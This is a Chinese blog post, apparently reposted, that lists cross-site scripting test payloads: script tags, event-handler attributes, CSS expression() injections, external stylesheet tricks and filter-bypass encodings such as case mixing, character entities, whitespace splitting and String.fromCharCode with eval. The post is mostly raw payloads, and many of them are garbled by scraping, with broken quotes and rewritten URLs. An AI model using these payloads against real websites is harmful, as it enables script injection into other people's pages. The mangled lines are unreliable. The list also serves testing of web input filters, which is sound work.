昔日

xss测试代码

全球互联网安全媒体知识问答平台

1.标准的xss漏洞测试代码
<script>alert('xss')</script>

2.img图片标记属性跨站攻击代码
<img src="javascript:alert(/xss/)" rel="nofollow"/>
<img dynsrc="javascript:alert(" rel="nofollow"/>
3.无需"<>",利用html标记事件属性跨站
(1)利用已知事件
<img src="http://archive.cnblogs.com/a/2772579/"" rel="nofollow"/>


<marquee style="background-color:red" onstart=alert('xss')">文字</marquee>

<div style="background-color:red" onmouseenter="alert('monyer')">123456</div>


<div style="background-color:red" onmouseleave="alert('monyer')">123456</div>

2.构造事件进行攻击

<img src="http://archive.cnblogs.com/a/2772579/#" rel="nofollow"/>
<div src="http://archive.cnblogs.com/a/2772579/#" rel="nofollow"/>
<font style="Xss:expression(alert(/xss/));">

<li style="Xss:expression(alert(/xss/));">
<table style="Xss:expression(alert(/xss/));">
<a style="Xss:expression(alert(/xss/));">
<b style="Xss:expression(alert(/xss/));">
<ul style="Xss:expression(alert(/xss/));">
<marquee style="Xss:expression(alert(/xss/));">
<style>input { left:expression(alert('xss'))} </style>
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:exp/* */ression(alert('xss'))}">
<div style="{ left:\0065\0078pression alert('xss'))}">
<div style="{ left:&#x0065;xpression(alert('xss'))}">
<div style="{ left:xpression(alert('xss'))}">
<div style="{ left:expRessioN(alert('xss'))}">


3.外接样式表漏洞跨站
<link rel="stylesheet" type="text/css" href="http://archive.cnblogs.com/a/2772579/www.test.com/test.css" target="_blank" rel="nofollow">
@import "http://www.test.com/test.css";

样式表css中的内容为 body{background-image:url(javascript:alert('xss'))}


4.利用insertAdjacentHTML方法
<b style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="http://www.baidu.com/></iframe>" rel="nofollow"/>
<a style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="http://www.baidu.com/></iframe>" rel="nofollow"/>
<table style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="http://www.baidu.com/></iframe>" rel="nofollow"/>

<li style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="http://www.baidu.com/></iframe>" rel="nofollow"/>
<font style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="http://www.baidu.com/></iframe>" rel="nofollow"/>

5.用javascript换行与空格突破过滤
<img src="http://archive.cnblogs.com/a/2772579/j  " rel="nofollow"/>用tab键产生的空格

<img src="http://archive.cnblogs.com/a/2772579/j  " rel="nofollow"/>scri
pt:al    er    t('xss')">

<img src="http://archive.cnblogs.com/a/2772579/#" rel="nofollow"/>

6.转代码,绕过滤
(1).大小写转换
<img src="javascript:alert(/xss/)" rel="nofollow"/><ScRipT>alert('xss')</SCrIPt>

(2)进制编码转换(啊D编码工具转换)
<img src="javascript:alert(" rel="nofollow"/>
&#10进制转换
<img src="http://archive.cnblogs.com/a/2772579/&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41" rel="nofollow"/>
&#;10进制转换
<img src="http://archive.cnblogs.com/a/2772579/&#74;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#13;&#10;" rel="nofollow"/>
(3)空格与回车符转换
<img src="http://archive.cnblogs.com/a/2772579/Jav&#x09;ascript:alert(" rel="nofollow"/><img src="http://archive.cnblogs.com/a/2772579/Jav&#x0A;ascript:alert(" rel="nofollow"/><img src="http://archive.cnblogs.com/a/2772579/Jav&#x0D;ascript:alert(" rel="nofollow"/>
&#x09;是空格 &#x0A;和&#x0D;是回车

7.JS还原函数法
<img src="javascript:alert(" rel="nofollow"/>转换为
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))" rel="nofollow"/>


评论

热度(1)

  1. 昔日全球互联网安全媒体知识问答平台 转载了此文字
    全球互联网安全媒体知识问答平台